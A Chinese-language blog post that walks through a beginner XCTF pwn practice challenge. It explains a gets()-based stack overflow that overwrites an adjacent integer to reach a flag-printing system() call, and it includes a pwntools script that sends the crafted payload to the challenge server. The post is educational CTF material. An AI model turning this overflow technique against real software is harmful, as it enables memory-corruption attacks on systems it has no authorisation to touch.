CTF,第一题

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1

呃,这题是xctf 上的练习题

 

我第一次搞这个,所以还不太懂界面上的都是什么,浪费了太多时间。

 

 

 

界面是这样的,乱七八糟一堆信息,但是实际上只有下面两个框里面的东西有用。

 

题目附件就是目标要干掉的软件,软件是运行在Linux 下的。

题目场景是目标软件在云服务器上的题目接口,用来取flag的。

主要流程是,先根据本地程序分析题目要求,然后做出针对,

最后用针对方法,从场景中,拿到结果。

 

大致就是这样。

 

今天第一题,从头开始吧。看起来不难,但是具体,谁知道呢。

题目很简单,

这是全部结果,弄IDA里面看看。

 

 

 

逻辑很简单,输入一个数字,这个数字如果等于1926,就结束了,

如果不等于1926,输入名字,然后就SB了,这里又要求必须等于1926才给结果,

system 句,其实是输出一个文件的内容,显然flag 在文件里面,

前面要求不能等于1926,后面又要求必须等于1926,吃饱了撑的。

怎么解决,怎么解决,怎么解决。

 

其实好解决,

针对本题,在询问名字之后,它后面接收名字的buffer 竟然只是一个char,而且没有做长度校验,

本题中接收数字的v5和接收年龄的v4挨着,看一眼汇编,啥情况

 

 情况就是这样,一个 ebp - 0x20,一个 ebp - 0x18

接收名字的buffer 在前面,是 -0x20,接收数字的buffer 是 -0x18,在后面,

而gets 写内存又是从前向后写的,而gets又没有判断内存长度,

所以好办了。我想办法构造一个特殊的字符串,让 -0x20 接收字符串的时候可以直接覆盖后面的数字,改变数字的值变成前面需要的1926,

大致就是做到一个缓冲区溢出的效果。

 

差不多吧。

使用python尝试一下。

 1 from pwn import *
 2 
 3 #a = process("./24ac28ef281b4b6caab44d6d52b17491")
 4 a = remote('124.126.19.106', 41549)
 5 r = a.recvuntil("What's Your Birth?\n")
 6 print(r)
 7 a.send("123\n")
 8 r = a.recvuntil('\n')
 9 print(r)
10 
11 str = "A" * 8 + "\x86\x07\x00\x00"
12 print(str)
13 a.send(str);
14 
15 a.interactive()

代码就是这样,导入pwn 库,

然后连接远程服务器,接收第一个标准字符串,

之后,上报给服务器一个错误的数字,

等待服务器返回,输出服务器返回的文字,直到 \n,

然后构造一个特殊的字符串了,

由于之前看到了,-0x20到 -0x18 中间相差8个字节,

所以名字的前8个字节可以为任意字符,

之后由于数字是个int 型,不是 int64,其实构造成int64也可以,但是没必要,

将1926转换成 16进制就是 0x786,按照小端排序,将数字重整,

然后追加到字符串之后,发送给服务器,

最后补一个信息接收,效果

 

 

 

我输入的被全收了,答案也就出来了。哎,第一次,墨迹墨迹墨迹太久,希望下次不会墨迹太久。。。

 

天太晚了,睡觉。

 

posted @ 2020-05-26 02:41  穷到底  阅读(395)  评论(0编辑  收藏  举报